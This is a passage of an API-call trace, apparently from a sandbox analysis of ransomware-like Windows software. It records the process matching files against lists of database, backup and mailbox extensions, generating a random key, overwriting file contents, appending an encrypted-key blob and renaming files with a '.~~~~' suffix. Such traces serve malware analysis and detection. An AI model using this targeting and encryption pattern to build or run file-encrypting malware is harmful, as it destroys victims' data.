	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".txt") returned 0x0
	[0076.681] lstrlenW (lpString=".mdt") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".mdt") returned 0x0
	[0076.681] lstrlenW (lpString=".BDB") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BDB") returned 0x0
	[0076.681] lstrlenW (lpString=".eql") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".eql") returned 0x0
	[0076.681] lstrlenW (lpString=".DBF") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBF") returned 0x0
	[0076.681] lstrlenW (lpString=".EQL") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".EQL") returned 0x0
	[0076.681] lstrlenW (lpString=".FDB") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".FDB") returned 0x0
	[0076.681] lstrlenW (lpString=".EDB") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".EDB") returned 0x0
	[0076.681] lstrlenW (lpString=".DACPAC") returned 7
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DACPAC") returned 0x0
	[0076.681] lstrlenW (lpString=".VHD") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".VHD") returned 0x0
	[0076.681] lstrlenW (lpString=".DBV") returned 4
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBV") returned 0x0
	[0076.681] lstrlenW (lpString=".dacpac") returned 7
	[0076.681] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dacpac") returned 0x0
	[0076.681] lstrlenW (lpString=".sdf") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sdf") returned 0x0
	[0076.682] lstrlenW (lpString=".accdb") returned 6
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".accdb") returned 0x0
	[0076.682] lstrlenW (lpString=".DBX") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBX") returned 0x0
	[0076.682] lstrlenW (lpString=".MDT") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MDT") returned 0x0
	[0076.682] lstrlenW (lpString=".SQB") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SQB") returned 0x0
	[0076.682] lstrlenW (lpString=".vhd") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".vhd") returned 0x0
	[0076.682] lstrlenW (lpString=".bac") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bac") returned 0x0
	[0076.682] lstrlenW (lpString=".mdf") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".mdf") returned 0x0
	[0076.682] lstrlenW (lpString=".BAK") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BAK") returned 0x0
	[0076.682] lstrlenW (lpString=".BAC") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".BAC") returned 0x0
	[0076.682] lstrlenW (lpString=".dbs") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbs") returned 0x0
	[0076.682] lstrlenW (lpString=".vhdx") returned 5
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".vhdx") returned 0x0
	[0076.682] lstrlenW (lpString=".NDF") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".NDF") returned 0x0
	[0076.682] lstrlenW (lpString=".dat") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dat") returned 0x0
	[0076.682] lstrlenW (lpString=".DBS") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBS") returned 0x0
	[0076.682] lstrlenW (lpString=".CKP") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".CKP") returned 0x0
	[0076.682] lstrlenW (lpString=".edb") returned 4
	[0076.682] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".edb") returned 0x0
	[0076.682] lstrlenW (lpString=".PST") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".PST") returned 0x0
	[0076.683] lstrlenW (lpString=".dbf") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbf") returned 0x0
	[0076.683] lstrlenW (lpString=".SQL") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SQL") returned 0x0
	[0076.683] lstrlenW (lpString=".pst") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".pst") returned 0x0
	[0076.683] lstrlenW (lpString=".dbv") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbv") returned 0x0
	[0076.683] lstrlenW (lpString=".SDF") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".SDF") returned 0x0
	[0076.683] lstrlenW (lpString=".dtxs") returned 5
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dtxs") returned 0x0
	[0076.683] lstrlenW (lpString=".db3") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".db3") returned 0x0
	[0076.683] lstrlenW (lpString=".OST") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".OST") returned 0x0
	[0076.683] lstrlenW (lpString=".dbx") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbx") returned 0x0
	[0076.683] lstrlenW (lpString=".DB3") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DB3") returned 0x0
	[0076.683] lstrlenW (lpString=".DAT") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DAT") returned 0x0
	[0076.683] lstrlenW (lpString=".VHDX") returned 5
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".VHDX") returned 0x0
	[0076.683] lstrlenW (lpString=".ndf") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ndf") returned 0x0
	[0076.683] lstrlenW (lpString=".DB") returned 3
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DB") returned 0x0
	[0076.683] lstrlenW (lpString=".sql") returned 4
	[0076.683] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".sql") returned 0x0
	[0076.683] lstrlenW (lpString=".MYD") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MYD") returned 0x0
	[0076.684] lstrlenW (lpString=".DBT") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DBT") returned 0x0
	[0076.684] lstrlenW (lpString=".ACCDB") returned 6
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ACCDB") returned 0x0
	[0076.684] lstrlenW (lpString=".fdb") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".fdb") returned 0x0
	[0076.684] lstrlenW (lpString=".bak") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bak") returned 0x0
	[0076.684] lstrlenW (lpString=".myd") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".myd") returned 0x0
	[0076.684] lstrlenW (lpString=".DTXS") returned 5
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".DTXS") returned 0x0
	[0076.684] lstrlenW (lpString=".ckp") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".ckp") returned 0x0
	[0076.684] lstrlenW (lpString=".dbt") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".dbt") returned 0x0
	[0076.684] lstrlenW (lpString=".db") returned 3
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".db") returned 0x0
	[0076.684] lstrlenW (lpString=".TXT") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".TXT") returned 0x0
	[0076.684] lstrlenW (lpString=".MDF") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".MDF") returned 0x0
	[0076.684] lstrlenW (lpString=".bdb") returned 4
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".bdb") returned 0x0
	[0076.684] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.684] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.684] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.685] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.685] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.686] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19667567304) returned 1
	[0076.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x979beb50, dwHighDateTime=0x1d60e1e)) 
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a37d0
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a37d0 | out: hHeap=0x300000) returned 1
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0076.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.686] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.686] GetLastError () returned 0x0
	[0076.686] GetLastError () returned 0x0
	[0076.686] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.686] GetLastError () returned 0x0
	[0076.687] GetLastError () returned 0x0
	[0076.687] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0076.691] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.691] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0076.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.691] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.691] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.691] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.691] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.691] CloseHandle (hObject=0x118) returned 1
	[0076.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0076.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.~~~~")) returned 1
	[0076.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0076.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.692] GetLastError () returned 0x0
	[0076.693] RtlWakeConditionVariable () returned 0x365f70
	[0076.693] GetCurrentThreadId () returned 0xaf0
	[0076.693] GetCurrentThreadId () returned 0xaf0
	[0076.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0076.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3808 | out: hHeap=0x300000) returned 1
	[0076.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0076.693] lstrlenW (lpString=".scr") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".scr") returned 0x0
	[0076.693] lstrlenW (lpString=".cmd") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".cmd") returned 0x0
	[0076.693] lstrlenW (lpString=".dll") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dll") returned 0x0
	[0076.693] lstrlenW (lpString=".bat") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bat") returned 0x0
	[0076.693] lstrlenW (lpString=".cpl") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".cpl") returned 0x0
	[0076.693] lstrlenW (lpString=".sys") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sys") returned 0x0
	[0076.693] lstrlenW (lpString=".msc") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".msc") returned 0x0
	[0076.693] lstrlenW (lpString=".com") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".com") returned 0x0
	[0076.693] lstrlenW (lpString=".lnk") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".lnk") returned 0x0
	[0076.693] lstrlenW (lpString=".msp") returned 4
	[0076.693] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".msp") returned 0x0
	[0076.694] lstrlenW (lpString=".pif") returned 4
	[0076.694] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".pif") returned 0x0
	[0076.694] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.694] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0076.694] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.695] lstrlenW (lpString=".sqb") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sqb") returned 0x0
	[0076.695] lstrlenW (lpString=".ost") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ost") returned 0x0
	[0076.695] lstrlenW (lpString=".txt") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".txt") returned 0x0
	[0076.695] lstrlenW (lpString=".mdt") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".mdt") returned 0x0
	[0076.695] lstrlenW (lpString=".BDB") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BDB") returned 0x0
	[0076.695] lstrlenW (lpString=".eql") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".eql") returned 0x0
	[0076.695] lstrlenW (lpString=".DBF") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBF") returned 0x0
	[0076.695] lstrlenW (lpString=".EQL") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".EQL") returned 0x0
	[0076.695] lstrlenW (lpString=".FDB") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".FDB") returned 0x0
	[0076.695] lstrlenW (lpString=".EDB") returned 4
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".EDB") returned 0x0
	[0076.695] lstrlenW (lpString=".DACPAC") returned 7
	[0076.695] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DACPAC") returned 0x0
	[0076.695] lstrlenW (lpString=".VHD") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".VHD") returned 0x0
	[0076.696] lstrlenW (lpString=".DBV") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBV") returned 0x0
	[0076.696] lstrlenW (lpString=".dacpac") returned 7
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dacpac") returned 0x0
	[0076.696] lstrlenW (lpString=".sdf") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sdf") returned 0x0
	[0076.696] lstrlenW (lpString=".accdb") returned 6
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".accdb") returned 0x0
	[0076.696] lstrlenW (lpString=".DBX") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBX") returned 0x0
	[0076.696] lstrlenW (lpString=".MDT") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MDT") returned 0x0
	[0076.696] lstrlenW (lpString=".SQB") returned 4
